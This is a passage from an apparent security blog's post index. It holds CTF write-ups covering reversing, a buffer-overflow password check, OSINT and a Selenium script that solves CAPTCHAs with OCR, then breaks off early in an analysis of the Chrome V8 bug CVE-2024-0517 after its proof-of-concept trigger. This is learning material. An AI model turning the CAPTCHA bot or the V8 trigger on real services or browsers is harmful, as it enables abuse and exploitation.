you can XOR the plaintext with the encrypted result to determine the key.The flag is INTIGRITI{b451c_x0r_wh47?}.LayersWhen you extract the compressed file, you can see that it contains numerous files.The combined ASCII values were entered into CyberChef for processing.I couldn’t find any special values when combining the ASCII values.When I opened each file individually, I noticed that ASCII characters were present in them. Initially, I tried combining the ASCII values in numerical order of the files, but the output didn’t make sense. I continued working on the challenge but couldn’t solve it within the time limit.According to the write-up, the solution is as follows:The ls -lart command plays a key role. I searched for the explanation of ls -lart using GPT, and here’s what it means:Explanation of ls -lartThe ls -lart command lists files in a directory with detailed information and sorts them based on specific criteria. The options serve the following purposes:l (long listing format):Displays detailed file information, such as:File permissions (e.g., rw-r–r–)Owner and group (e.g., crystal crystal)File size (e.g., 8 bytes)Last modification time (e.g., Aug 19 17:15)File name (e.g., 52)a (all):Includes hidden files (those starting with .) in the listing.For example, it will show . (current directory) and .. (parent directory).r (reverse order):Reverses the default sorting order.By default, ls -l sorts in ascending order by name or time. Adding r changes this to descending order.t (time):Sorts files by their modification time.The most recently modified files appear first.Combined Effect of ls -lartTime-based Sorting: The t option sorts files by modification time.Reversed Order: The r option changes the order from descending (default) to ascending.Includes Hidden Files: The a option ensures that hidden files are listed as well.Detailed Output: The l option provides additional details about each file, such as permissions, ownership, and size.When applied to the challenge files, the result would look something like this:The files are sorted by their creation times, and by converting the binary values from these files in this order, you can obtain the flag.According to the official write-up, the solution was achieved using the following source code.import zipfileimport osfrom datetime import datetimeARCHIVE_NAME = \"layers.zip\"EXTRACT_DIR = \"files\"def binary_to_char(binary_str): return chr(int(binary_str, 2))with zipfile.ZipFile(ARCHIVE_NAME, 'r') as zipf: for info in zipf.infolist(): extracted_path = zipf.extract(info, EXTRACT_DIR) date_time = datetime(*info.date_time) mod_time = date_time.timestamp() os.utime(extracted_path, (mod_time, mod_time))file_data = []for file_name in os.listdir(EXTRACT_DIR): file_path = os.path.join(EXTRACT_DIR, file_name) mod_time = os.path.getmtime(file_path) with open(file_path, \"r\") as f: binary_data = f.read().strip() char = binary_to_char(binary_data) file_data.append((mod_time, char))file_data.sort()reconstructed_string = ''.join([char for _, char in file_data])print(\"Reconstructed String:\")print(reconstructed_string)for file_name in os.listdir(EXTRACT_DIR): os.remove(os.path.join(EXTRACT_DIR, file_name))os.rmdir(EXTRACT_DIR)By using it, you can obtain the corresponding string.Then the flag becomes INTIGRITI{7h3r35_l4y3r5_70_7h15_ch4ll3n63}.BabyFlowI ran the file.The program said the password was incorrect, so I opened it in Ghidra to analyze it.The structure of the function is as follows:When the input value is SuPeRsEcUrEPaSsWoRd123, it prints correct. However, if local_C == 0, it prints:Are you sure you are admin? o.O.To get the flag, local_C needs to hold a value other than 0.To achieve this, local_C must be influenced to take a different value.Analyzing the value-checking part, it uses strncmp, which only compares the specified number of characters.It does not check the remaining characters beyond the specified limit.This allows reading additional values that follow the compared string.This is the part where local_C is declared. Its location is as follows:is 0After entering the input, checking the value reveals the following:Since the value becomes aaa, which is not 0, the program prints the flag.I solved it using this payload.Rigged Slot Machine 1This challenge seemed strange because, according to the write-up, the provided code was very similar to the one I wrote while solving it.However, I couldn’t solve it, and even using the code provided in the write-up, the flag wasn’t revealed.Starting with the source code, here’s what I found:void main(void){ time_t tVar1; long in_FS_OFFSET; uint local_20; int local_1c; __gid_t local_18; int local_14; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); local_18 = getegid(); setresgid(local_18,local_18,local_18); tVar1 = time((time_t *)0x0); srand((uint)tVar1); setup_alarm(0xb4); local_20 = 100; puts(\"Welcome to the Rigged Slot Machine!\"); puts(\"You start with $100. Can you beat the odds?\"); do { while( true ) { while( true ) { local_1c = 0; printf(\"\\nEnter your bet amount (up to $%d per spin): \",100); local_14 = __isoc99_scanf(&amp;DAT_0010222e,&amp;local_1c); if (local_14 == 1) break; puts(\"Invalid input! Please enter a numeric value.\"); clear_input(); } if ((local_1c &lt; 1) || (100 &lt; local_1c)) break; if ((int)local_20 &lt; local_1c) { printf(\"You cannot bet more than your current balance of $%d!\\n\",(ulong)local_20); } else { play(local_1c,&amp;local_20); if (0x20a6e &lt; (int)local_20) { payout(&amp;local_20); } } } printf(\"Invalid bet amount! Please bet an amount between $1 and $%d.\\n\",100); } while( true );}You start with $100 and can bet up to $100 based on the user’s input.If your total money exceeds 133742, the payout function is executed.void play(int param_1,uint *param_2){ uint uVar1; long lVar2; int iVar3; long in_FS_OFFSET; int local_1c; lVar2 = *(long *)(in_FS_OFFSET + 0x28); iVar3 = rand(); iVar3 = iVar3 % 100; if (iVar3 == 0) { local_1c = 100; } else if (iVar3 &lt; 10) { local_1c = 5; } else if (iVar3 &lt; 0xf) { local_1c = 3; } else if (iVar3 &lt; 0x14) { local_1c = 2; } else if (iVar3 &lt; 0x1e) { local_1c = 1; } else { local_1c = 0; } uVar1 = param_1 * local_1c - param_1; if ((int)uVar1 &lt; 1) { if ((int)uVar1 &lt; 0) { printf(\"You lost $%d.\\n\",(ulong)-uVar1); } else { puts(\"No win, no loss this time.\"); } } else { printf(\"You won $%d!\\n\",(ulong)uVar1); } *param_2 = *param_2 + uVar1; printf(\"Current Balance: $%d\\n\",(ulong)*param_2); if ((int)*param_2 &lt; 1) { puts(\"You\\'re out of money! Game over!\"); /* WARNING: Subroutine does not return */ exit(0); } if (lVar2 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return;}With a certain probability, you can either win more money, lose money, or break even.void payout(int *param_1){ FILE *__stream; long in_FS_OFFSET; char local_58 [72]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); if (*param_1 &lt; 0x20a6f) { puts(\"You can\\'t withdraw money until you win the jackpot!\"); /* WARNING: Subroutine does not return */ exit(-1); } __stream = fopen(\"flag.txt\",\"r\"); if (__stream == (FILE *)0x0) { puts( \"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\" ); /* WARNING: Subroutine does not return */ exit(0); } fgets(local_58,0x40,__stream); printf(\"Congratulations! You\\'ve won the jackpot! Here is your flag: %s\\n\",local_58); fclose(__stream); /* WARNING: Subroutine does not return */ exit(-1);}When the payout function is executed, it seems to read and print the contents of flag.txt.Locally, the process runs very quickly, but when running it remotely, it seems to take over 3 minutes, preventing successful completion.So, looking at the flags of those who solved it…It seems to be displayed like this.REVSecure BankWhen running the challenge file, it prompts for a PIN.I opened it using Ghidra for analysis.bool main(void){ undefined4 local_14; int local_10; undefined4 local_c; banner(); login_message(); printf(\"Enter superadmin PIN: \"); __isoc99_scanf(&amp;DAT_001021ea,&amp;local_10); if (local_10 == 1337) { local_c = generate_2fa_code(1337); printf(\"Enter your 2FA code: \"); __isoc99_scanf(&amp;DAT_001021ea,&amp;local_14); validate_2fa_code(local_14,local_c); } else { puts(\"Access Denied! Incorrect PIN.\"); } return local_10 != 1337;}I found that the first PIN can be successfully entered as 1337, and then a second prompt for a 2fa_code appears.uint generate_2fa_code(int param_1){ int local_14; uint local_10; uint local_c; local_10 = param_1 * 0xbeef; local_c = local_10; for (local_14 = 0; local_14 &lt; 10; local_14 = local_14 + 1) { local_c = obscure_key(local_c); local_10 = ((local_10 ^ local_c) &lt;&lt; 5 | (local_10 ^ local_c) &gt;&gt; 0x1b) + (local_c &lt;&lt; ((char)local_14 + (char)(local_14 / 7) * -7 &amp; 0x1fU) ^ local_c &gt;&gt; ((char)local_14 + (char)(local_14 / 5) * -5 &amp; 0x1fU)); } return local_10 &amp; 0xffffff;}uint obscure_key(uint param_1){ return ((param_1 ^ 0xa5a5a5a5) &lt;&lt; 3 | (param_1 ^ 0xa5a5a5a5) &gt;&gt; 0x1d) * 0x1337 ^ 0x5a5a5a5a;}When the 2fa_code is entered, the program processes the input and determines whether it isvoid validate_2fa_code(int param_1,int param_2){ if (param_1 == param_2) { puts(\"Access Granted! Welcome, Superadmin!\"); printf(\"Here is your flag: %s\\n\",\"INTIGRITI{fake_flag}\"); } else { puts(\"Access Denied! Incorrect 2FA code.\"); } return;}The program outputs the flag when the correct 2fa_code is entered.There are two ways to solve this challenge, but since I originally solved it using static analysis, I decided to try the dynamic approach mentioned in the write-up.Here’s what I observed in this straightforward challenge:After setting a breakpoint at the section following the FA function call, examining the value shows that this specific value is stored:0x568720 → 5670688The reason for converting it to decimal is……because the program uses %u to receive the value, and later, the generated FA value will be compared as a decimal.TriForce ReconWhen you extract the compressed file,You can see that it consists of three files.Each file has a different format:One is an .exe file.One is an .elf file.One is a Mach-O file.When I executed the ELF file, it seemed to require an input value.According to the write-up, the suggested approach appeared simpler, so I’ll introduce that method.(Initially, I had used static analysis to write code and figure out the value myself.)Looking at the code in IDA, it’s clear that a simple XOR operation can be performed to solve it.You can identify the string to XOR and the key value.Therefore, it’s a straightforward challenge where you simply input the XOR key and the string to solve it.This challenge involved combining the flags from three programs with different formats.The final flag is:Intigriti{s7reaMCircUm574NcEgrAV3UnpL3A54ntRE5i6N4T10nSatI5fAct1on}.OSINTTrackDown1,2This challenge involves identifying the location where the given photo was taken.The above photo is from the first challenge, and if you search for it on Google, you will find…By searching for the building from the photo on Google, I was able to identify it.Using Google Street View and examining the photo, I noticed the table in the image had a restaurant-like feel, so I tried the name of a nearby bar or building.This resulted in the flag being validated:INTIGRITI{Si_Lounge_Hanoi}.This is the second photo, and if you search for it using Google Lens, you will find…The search results showed a photo that appears to be taken at night, likely from the same location as the previous one. Based on this, I identified the hotel and the flag was successfully validated:INTIGRITI{Express_by_M_Village}.NO CommentThis was another challenge I couldn’t solve within the time limit. However, when you download the photo, you can see…The image looks like this, and since it’s an OSINT challenge, I initially thought it was similar to a trackdown problem, so I wasted a lot of time searching on Google.I’ll follow the write-up to proceed.By using an image metadata tool like exiftool, I was able to confirm the following details:By checking the comment, I found a link. Upon reviewing the write-up, it seems that the format is related to imgur.com.When checking the location, I found the following encoded string:V2hhdCBhICJsb25nX3N0cmFuZ2VfdHJpcCIgaXQncyBiZWVuIQoKaHR0cHM6Ly9wYXN0ZWJpbi5jb20vRmRjTFRxWWc=I input this value into CyberChef, and…in linkThe site appears, and it prompts for a password.The password, which we decoded earlier as long_strange_trip, should be entered.Once entered, the following string can be obtained:25213a2e18213d2628150e0b2c00130e020d024004301e5b00040b0b4a1c430a302304052304094309After entering the password, it seems that you need to access the profile to gather further information.You can then infer from the profile that the encrypted data was XORed.INTIGRITI{instagram.com/reel/C7xYShjMcV0}Bob L’épongeI couldn’t solve this challenge within the time limit either.When you enter the link, the following video appears.There is this strange video, and I’m not sure where or how to use it…When checking the profile’s playlist, I saw this list, but when I played it, there was nothing useful, so I couldn’t solve it.According to the write-up, it seems there is a tool for reading YouTube data.By using that tool to extract data from the second video, the flag appeared, which felt anticlimactic.INTIGRITI{t4gs_4r3_m0stly_0bs0l3t3_zMlH7RH6psw}Private Github RepositoryI almost solved it, but due to using the wrong approach, I couldn’t complete the challenge.First, if you search for the user on GitHub, you will find…You can find one user.You can find an email in this format. Initially, I thought it might be the key value, but upon further investigation, I realized it was actually a PK (zip file).When you open the zip file, you can find the private key.So, I added the SSH key and…git clone git@github.com:bob-193/1337up.gitThrough that, I was able to download the repository.I got stuck at this part during the CTF competition.Then, upon checking the write-up, it mentioned using the following command:ssh -T git@github.comWhen I asked GPT about the command, it responded as follows:Execution ResultIf the SSH key is correctly registered:Hi &lt;GitHub-username&gt;! You've successfully authenticated, but GitHub does not provide shell access.Here, refers to the GitHub account name.This message indicates that the SSH key authentication was successful.Through this, I was able to discover Tiffany’s account name.Then, I proceeded to fetch the repository along with Bob.After that, I tried to clone the repository, but…It didn’t proceed as expected, possibly due to the download, but in any case, the goal was to search for the flag among the git logs.MiscQuick RecoveryWhen you open the file, you will find…Looking at the image, you can see a fragmented QR code. It seems that the goal is to reconstruct the QR code.from PIL import Image, ImageDrawfrom itertools import permutationsimport subprocessqr_code_image = Image.open(\"qr_code.png\")width, height = qr_code_image.sizehalf_width, half_height = width // 2, height // 2squares = { \"1\": (0, 0, half_width, half_height), \"2\": (half_width, 0, width, half_height), \"3\": (0, half_height, half_width, height), \"4\": (half_width, half_height, width, height)}def split_square_into_triangles(img, box): x0, y0, x1, y1 = box a_triangle_points = [(x0, y0), (x1, y0), (x0, y1)] b_triangle_points = [(x1, y1), (x1, y0), (x0, y1)] def crop_triangle(points): mask = Image.new(\"L\", img.size, 0) draw = ImageDraw.Draw(mask) draw.polygon(points, fill=255) triangle_img = Image.new(\"RGBA\", img.size) triangle_img.paste(img, (0, 0), mask) return triangle_img.crop((x0, y0, x1, y1)) return crop_triangle(a_triangle_points), crop_triangle(b_triangle_points)triangle_images = {}for key, box in squares.items(): triangle_images[f\"{key}a\"], triangle_images[f\"{key}b\"] = split_square_into_triangles( qr_code_image, box)a_order = [\"1\", \"2\", \"3\", \"4\"] # UPDATE MEb_order = [\"1\", \"2\", \"3\", \"4\"] # UPDATE MEfinal_positions = [ (0, 0), (half_width, 0), (0, half_height), (half_width, half_height)]reconstructed_image = Image.new(\"RGBA\", qr_code_image.size)for i in range(4): a_triangle = triangle_images[f\"{a_order[i]}a\"] b_triangle = triangle_images[f\"{b_order[i]}b\"] combined_square = Image.new(\"RGBA\", (half_width, half_height)) combined_square.paste(a_triangle, (0, 0)) combined_square.paste(b_triangle, (0, 0), b_triangle) reconstructed_image.paste(combined_square, final_positions[i])reconstructed_image.save(\"obscured.png\")print(\"Reconstructed QR code saved as 'obscured.png'\")The content of the source code is as follows:The solution code is as follows:(Provide the source code or solution code here.)from PIL import Image, ImageDrawfrom itertools import permutationsqr_code_image = Image.open(\"obscured.png\")width, height = qr_code_image.sizehalf_width, half_height = width // 2, height // 2squares = { \"1\": (0, 0, half_width, half_height), \"2\": (half_width, 0, width, half_height), \"3\": (0, half_height, half_width, height), \"4\": (half_width, half_height, width, height)}def split_square_into_triangles(img, box): x0, y0, x1, y1 = box a_triangle_points = [(x0, y0), (x1, y0), (x0, y1)] b_triangle_points = [(x1, y1), (x1, y0), (x0, y1)] def crop_triangle(points): mask = Image.new(\"L\", img.size, 0) draw = ImageDraw.Draw(mask) draw.polygon(points, fill=255) triangle_img = Image.new(\"RGBA\", img.size) triangle_img.paste(img, (0, 0), mask) return triangle_img.crop((x0, y0, x1, y1)) return crop_triangle(a_triangle_points), crop_triangle(b_triangle_points)triangle_images = {}for key, box in squares.items(): triangle_images[f\"{key}a\"], triangle_images[f\"{key}b\"] = split_square_into_triangles(qr_code_image, box)# 모든 순열을 시도for a_order in permutations([\"1\", \"2\", \"3\", \"4\"]): b_order = a_order[::-1] # a_order의 역순으로 b_order 설정 final_positions = [ (0, 0), (half_width, 0), (0, half_height), (half_width, half_height) ] reconstructed_image = Image.new(\"RGBA\", qr_code_image.size) for i in range(4): a_triangle = triangle_images[f\"{a_order[i]}a\"] b_triangle = triangle_images[f\"{b_order[i]}b\"] combined_square = Image.new(\"RGBA\", (half_width, half_height)) combined_square.paste(a_triangle, (0, 0)) combined_square.paste(b_triangle, (0, 0), b_triangle) reconstructed_image.paste(combined_square, final_positions[i]) # 결과 이미지 저장 filename = f\"reconstructed_{''.join(a_order)}.png\" reconstructed_image.save(filename) print(f\"Reconstructed QR code saved as '{filename}'\")Since it tries all permutations, all possible versions of the image are generated.By running the source code, you can see various images, and from those, the correct one was selected.Here’s the end of the write-up, and there’s a small episode I want to share. While solving a problem, a hint popped up mentioning “v8 version,” which made me think it was related to a v8 issue. I thought I’d check the write-up later. After the competition ended, I checked and found that one of the authors of the problem was a teammate from the CVE-2024-0517 analysis I worked on this summer. His blog was referenced in the write-up, which was really surprising. It also made me realize how important it is to continue working on v8 analysis. I’m still doing v8 analysis these days, but since it doesn’t always yield immediate results like CTFs, I plan to post my findings once the analysis is fully completed. Looking forward to more challenges ahead!I should make sure to be mentioned next time too 🤭🤭"
    } ,
  
    {
      "title"       : "PoC conference",
      "category"    : "review",
      "tags"        : "conference",
      "url"         : "./PoC-conference.html",
      "date"        : "2024-11-07 00:00:00 +0000",
      "description" : "Impressions of the PoC Conference",
      "content"     : "I first learned about the PoC Conference at a hacking camp, where I was awarded the “Diligent Hacker” prize and received a ticket to the PoC Conference as part of the prize.Thanks to that, I attended the PoC Conference for the first time this year. Whenever I read blog posts or listen to people who’ve attended PoC Conferences, I often hear them mention the need to study English, and now I completely understand why.At this year’s PoC Conference, there were several presentations on V8. Although I couldn’t fully understand everything due to my limited English, the presentations were clearly high-level and incredibly interesting. That’s probably why I felt it was such a shame not to be able to fully grasp everything, and it motivated me to study English even more!I don’t have extensive knowledge or much experience researching V8 yet, but attending the conference reignited my motivation to work harder.The speakers were so impressive that I started imagining that maybe someday, if I keep improving my English and research a lot about V8, I might be able to present as well.There’s still a long way to go, but the idea inspires me.Next time, I’d love to make some foreign friends to practice English conversation and maybe even discuss topics about different countries—it sounds like it would be fun and also improve my English skills. Overall, it was a valuable experience."
    } ,
  
    {
      "title"       : "KOSPO Write Up",
      "category"    : "review",
      "tags"        : "CTF, Write up",
      "url"         : "./KOSPO.html",
      "date"        : "2024-10-11 00:00:00 +0000",
      "description" : "Introduction to the Problems I Solved at KOSPO",
      "content"     : "I recently participated in the KOSPO competition hosted by Korea Southern Power.The problems were more diverse than I expected and not too difficult, so it was great to be able to try all of them, even though I couldn’t solve many. Bonus 1helloworld.apkWhen I downloaded the problem, I received a file like this.To understand how the APK functions, I ran it using Nox.This screen appeared, but I couldn’t find any other meaningful information.I proceeded to analyze the APK further using Jadx.During the analysis with Jadx, I found a hint in the BuildConfig file.public static final String kospo_hint = \"CN+C+OU+ST+L+O=Base64\";This value seemed to suggest that the fields needed to be concatenated and then converted to Base64.After researching with GPT, I found out what this information meant.In an APK file, “CN+C+OU+ST+L+O=Base64” generally represents the subject information from the certificate used to sign the APK. Each field provides details about the issuer or owner of the certificate, following the X.509 standard.The fields indicate the following information:CN (Common Name): Typically refers to the name of the issuer or domain.C (Country Name): Represents the country code (e.g., KR for Korea, US for the United States).OU (Organizational Unit): Refers to the department within the organization.ST (State or Province Name): The name of the state or province.L (Locality Name): The name of the city or locality.O (Organization Name): The name of the organization or company.This string is Base64-encoded, meaning it was converted from its original form to prevent data corruption during transmission. Base64 encoding converts binary data into text.Thus, “CN+C+OU+ST+L+O=Base64” refers to the certificate’s subject information that has been Base64-encoded.By examining this information, I identified the following certificate details:CN=U21hc, OU=5lcmd, O=l9MaWZl, L=dHRlc, ST=5X0Jl, C=nRfRWThese values seemed odd, so I concatenated them in the appropriate order:U21hcnRfRW5lcmd5X0JldHRlcl9MaWZlAfter obtaining this string, I used Cyberchef to decode it from Base64.Smart_Energy_Better_Life Bonus 2This was the first time I got a “first blood” on a challenge during a competition or CTF (I probably won’t get another one in the future.)I solved this challenge on my laptop, but I accidentally deleted the files, so I’ll briefly explain the situation before getting into the details.The challenge provided a .py file and a video file.The Python script was designed to break the video down into frames, but when I played the video, I couldn’t directly see any values that resembled the flag. I figured the solution would be to inspect the frames one by one.Below is the modified version of the code I was provided with, which ended up being the solution:import cv2import os# Path to the video file (relative path) video_path = 'problem.mp4'# Directory path where the script is executedcurrent_folder = os.path.dirname(os.path.abspath(__file__))# Set the save path for images in the current foldersave_path = os.path.join(current_folder, \"img\")if not os.path.exists(save_path): os.makedirs(save_path)# Open the video filevidcap = cv2.VideoCapture(video_path)count = 0# Check if the video file was opened successfullyif not vidcap.isOpened(): print(f\"Error: Could not open video file at {video_path}\")else: print(f\"Video file opened successfully: {video_path}\")# Read the frames while the video is openedwhile vidcap.isOpened(): ret, image = vidcap.read() if not ret: print(\"Error: Could not read frame or video finished.\") break try: if int(vidcap.get(1)) % 1 == 0: # Save every frame print(f\"Saving frame number: {int(vidcap.get(1))}\") cv2.imwrite(os.path.join(save_path, \"%d.jpg\" % count), image) print(f\"Saved frame {count}.jpg\") count += 1 except Exception as e: print(f\"An error occurred during frame processing: {e}\") breakvidcap.release()print(\"Video processing complete.\")When this code is executed, it breaks the video down into individual frames and saves them as images.After checking all the frames one by one, I found the flag between frames 200 and 300, if I remember correctly.The video was related to Mala Tang, so the flag was {TangHooR00}.3.Bonus 4A problem that really gave me a hard time. (I might never like Charmander again)When I downloaded the problem file, I got this:bonus4.zipIt was just a picture of Charmander. The challenge description was to “evolve Charmander!” I initially thought it was a steganography challenge, so I checked for hidden data, but didn’t find anything suspicious.Next, I decided to open the file with HxD, a hex editor, and examined it thoroughly.I found three different magic numbers, which indicated that the file was a combination of multiple file types.1.2.3.In situations like this, there are two main methods you can use to extract the files. Before I introduce the easier method, it’s important to understand the structure of a PNG file.A PNG file begins with its magic number and ends with an IEND chunk. Keeping this in mind, you can extract the images and view them. Below are the extracted images:Another method is to use a tool like Binwalk, which helps you find hidden files within the original file. Using Binwalk will show you what’s inside, and you can extract the files using the foremost command. Since I will likely use this method a lot in the future, it’s a good one to remember.After extracting these Charizard images, I thought I had solved the challenge. However, the flag was nowhere to be found.I tried various steganography techniques, enlarging the image, and more, but nothing worked. At that point, I decided to set it aside and move on to other problems.After the competition ended, I checked some write-ups from other participants and learned that the trick was to adjust the width and height of the image to reveal the flag.This part in the hex values is where you adjust the width and height. After tweaking these values and checking the image again, I finally managed to solve it. capchaThis challenge didn’t involve other files but was a web-based problem.The task was to enter the value displayed on a CAPTCHA image as verification. If the value was correct, the solve count would increase by 1. The challenge was to solve a total of 30 CAPTCHAs within 60 seconds.After the competition, I saw some write-ups from other participants and found it funny and interesting that some people solved this problem manually. 😆 Meanwhile, I solved it programmatically.Since the server is down while I’m writing this, I can’t provide every detail, but here’s a brief explanation.The image showed a random combination of 6 uppercase letters (A-Z) and numbers (0-9). Each time you entered the CAPTCHA value, the image would change randomly, so I had to figure out how to solve this.My solution was to decode the base64-encoded image, restore it, and use an OCR API like Google Vision to extract the text from the image.One issue with this approach was that sometimes the OCR would confuse characters like ‘0’ and ‘O’, or ‘1’ and ‘I’. So, I let the code run until the problem was solved while I worked on other tasks.Here is the code I used to solve the challenge:import base64import ioimport timefrom google.cloud import visionfrom selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.webdriver.chrome.options import Optionsfrom PIL import Imagefrom io import BytesIO# Google Vision API client setupclient = vision.ImageAnnotatorClient()def detect_text_google_vision(image_content): # Use Google Vision OCR to extract text from the CAPTCHA image image = vision.Image(content=image_content) response = client.text_detection(image=image) texts = response.text_annotations if texts: return texts[0].description.strip() else: return None# Set options to ignore SSL certificate errorschrome_options = Options()chrome_options.add_argument('--ignore-certificate-errors')chrome_options.add_argument('--ignore-ssl-errors')# Set up the web driver (using Chrome)driver = webdriver.Chrome(options=chrome_options)# Navigate to the CAPTCHA pagedriver.get(\"http://hackbox.kospo.co.kr:14447/captcha\")for i in range(30): # Repeat 30 times try: # Locate the CAPTCHA image element captcha_image_element = driver.find_element(By.XPATH, \"//img[@src]\") # Extract the base64 string from the src attribute captcha_base64 = captcha_image_element.get_attribute('src').split(',')[1] # Decode the base64 string to an image captcha_image_data = base64.b64decode(captcha_base64) # Use Google Vision OCR to extract text from the CAPTCHA image captcha_text = detect_text_google_vision(captcha_image_data) print(f\"[{i+1}/30] Extracted CAPTCHA text: {captcha_text}\") # Enter the CAPTCHA text into the input field captcha_input = driver.find_element(By.NAME, \"captcha\") # 입력 필드 'name'을 사용 captcha_input.clear() captcha_input.send_keys(captcha_text) # Click the submit button submit_button = driver.find_element(By.XPATH, \"//button[@type='submit']\") submit_button.click() # Wait for a moment time.sleep(1) except Exception as e: print(f\"Error on iteration {i+1}: {e}\") break# After completing the task, check the page texttry: page_text = driver.find_element(By.TAG_NAME, 'body').text print(f\"Final Page text: {page_text}\")except Exception as e: print(f\"Error retrieving final page text: {e}\")# Keeping the browser open# driver.quit() is not calledThis code decodes the CAPTCHA image, extracts the text using OCR, and submits it. There were small issues like confusing ‘0’ with ‘O’ and ‘1’ with ‘I’, but I let the script run until the problem was solved while I worked on other challenges.It was a bit disappointing that I couldn’t win an award, but it was fun to participate in the competition after a long time."
    } ,
  
    {
      "title"       : "CVE-2024-0517 Analysis",
      "category"    : "exploit",
      "tags"        : "V8, 1-day, exploit",
      "url"         : "./CVE-2024-0517-Analysis.html",
      "date"        : "2024-09-27 00:00:00 +0000",
      "description" : "This is an analysis and introduction to the exploitation process of the Chrome V8 vulnerability, CVE-2024-0517, which was explained earlier.",
      "content"     : "The following content was originally written for our team blog.At the time, I didn’t have a personal GitHub blog, so I’m posting it now after setting one up.This research was not conducted alone but was a joint effort between two people.To gain more experience, I plan to redo the entire process by myself from the beginning and will add any new insights I discover along the way.Preliminary KnowledgeIn this section, we will explain a few things that you should know beforehand regarding a 1-day exploit. For more detailed information, please refer to other posts. Here, we will explain briefly and move on.If you want to know more about the V8 engine, you can check out Fundamental Knowledge of the V8 engine, which might be helpful.If you want to know more about JavaScript and the objects created with it, check out Fundamental Knowledgd of JavaScript.What is V8 (feat. Pipeline)?V8 is an engine written in C++ used by the Chrome browser. Since it’s a browser engine, the code it executes is written in JavaScript.The V8 engine consists of various components for compilation and optimization, and today, we will focus on one of those components: the Maglev JIT compiler.What is a JIT compiler? IBM explains it this way: A JIT (Just-In-Time) compiler is a runtime environment component that compiles bytecode into native machine code at runtime to improve the performance of Java™ applications.”Source: IBM - JIT CompilerMaglev is a machine that compiles source code into machine code by statically analyzing it and optimizing it. When the V8 engine executes JavaScript code, if this code or function is repeatedly executed and marked as “hot” code, it determines the level of optimization based on the frequency.The vulnerability we will be discussing occurred within this Maglev component, so we will be triggering optimizations to occur.Garbage Collection of V8Engines like V8, which allocate memory dynamically, require more advanced memory management techniques for better efficiency and speed. One such technique is Garbage Collection. In simple terms, objects that are still referenced remain alive, while those that are not referenced are cleared out.To explain how it works, newly created objects are allocated in the Young Generation’s semi-space. Once this semi-space is filled, a Minor GC (Scavenger) occurs, which determines whether objects are dead or alive and clears out the dead ones. The surviving objects are moved to the opposite semi-space. This pattern repeats once the semi-space is filled again. Objects that survive two rounds of garbage collection are moved to the Old Generation.Thus, the V8 engine manages memory by distinguishing between living and dead objects based on whether their references are maintained. Garbage collection plays a crucial role in the vulnerability we’ll explore later, so I recommend analyzing it more in detail through the post mentioned earlier.V8 Sandbox (a.k.a. Ubercage)V8 contains a mitigation technique called the Sandbox.This Sandbox manages the objects that can be used in a separate virtual space called a sandbox. Rather than directly storing addresses of objects, it stores an index into a table.Additionally, there is a feature called Code Pointer Sandboxing, which does not store code pointers directly in JavaScript objects but stores them as indices into a table. This prevents attackers from tampering with the code pointers to execute arbitrary code flow.Even if we trigger a vulnerability and prepare all the necessary steps, if we can’t bypass this sandbox mitigation, we won’t succeed in exploiting it. Therefore, in the final part, we will explain how to bypass this mitigation.JS Object StructureIn JavaScript, everything except for primitive values is allocated as objects. So, apart from primitive values like String, Number, Boolean, Null, and Undefined, everything is stored as key-value pairs. (Note: String, Number, and Boolean can become objects if defined using new.)When debugging and analyzing memory structures, you’ll see that each object is allocated in similar ways (similar, not equal). Thus, when analyzing memory, you should always remember to compare and analyze the object structure with %DebugPrint.The picture below shows a this object with %DebugPrint and the actual memory values. From this, you can easily identify that each memory section corresponds to Map, Properties, Elements, In-object property 1 and In-object property 2. Similarly, when memory analysis is needed, you should check how objects are allocated by inspecting them directly. Allocation FoldingThis technique is just as important to understand as garbage collection when analyzing this vulnerability. It is called Allocation Folding. This technique helps reduce or eliminate unnecessary memory allocations by optimizing the memory management process within V8. For example, when allocating Class B and Array a, memory is allocated twice—once for each. But with allocation folding, instead of allocating memory separately, the total size (size(x + y)) is allocated, and Class B and Array a share that memory.One key point here is that since the memory is allocated all at once and then divided, Array a will be placed in memory directly after Class B.To perform allocation folding, Maglev calls a function called ExtendOrReallocateCurrentRawAllocation(). We will analyze this function in more detail during the V8 source code analysis part.Environment SetupThe version of V8 we analyzed is 12.0.267.15. For setting up the environment, we followed the process outlined in the CW blog but changed the V8 version to this one.Reference: The version built on the CW blog is a developer version where the CVE-2024-0517 patch was not applied yet, but updates regarding the V8 Sandbox (Ubercage) appear to have been implemented. Since the V8 exploitation methods used around that time may no longer work, we recommend building with version 12.0.267.15, which was actually released at that time.V8 12.0.267.15 : https://chromium.googlesource.com/v8/v8.git/+/e73f620c2ef1230ddaa61551706225821a87c3b9CW Research - CVE-2024-0517 : https://cwresearchlab.co.kr/entry/CVE-2024-0517-Out-of-Bounds-Write-in-V8# install depot_toolscd ~git clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitexport PATH=$HOME/depot_tools:$PATHecho 'export PATH=$HOME/depot_tools:$PATH' &gt;&gt; ~/.zshrc# get V8fetch v8cd v8git checkout e73f620c2ef1230ddaa61551706225821a87c3b9gclient sync -D# build V8./build/install-build-deps.shgn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true'ninja -C out/debug d8./tools/dev/gm.py x64.release# install gdb pluginecho 'source ~/v8/tools/gdbinit' &gt;&gt; ~/.gdbinitVulnerability AnalysisProof of ConceptWe will now analyze the vulnerability patched in CVE-2024-0517.This vulnerability arises when Maglev, one of the JIT compilers in the V8 engine, optimizes and executes code. When a child constructor creates an object, an uninitialized Current_raw_allocation value causes an OOB (Out-Of-Bounds) write.Here is a portion of the JavaScript code that triggers the vulnerability. When running the PoC code, an error like the one shown below occurs. This error happens because something overwrites the “free-space” section, which is then detected, causing a fatal error and terminating the program.The code and error message are as follows:class ClassParent {}class ClassBug extends ClassParent { constructor(a20, a21, a22) { const v24 = new new.target(); let x = [empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object, empty_object]; super(); let a = [1.1]; this.x = x; this.a = a; JSON.stringify(empty_array); } [1] = dogc();}~/v8/out$ ./debug/d8 --allow-natives-syntax ./code/exploit.js## Fatal error in 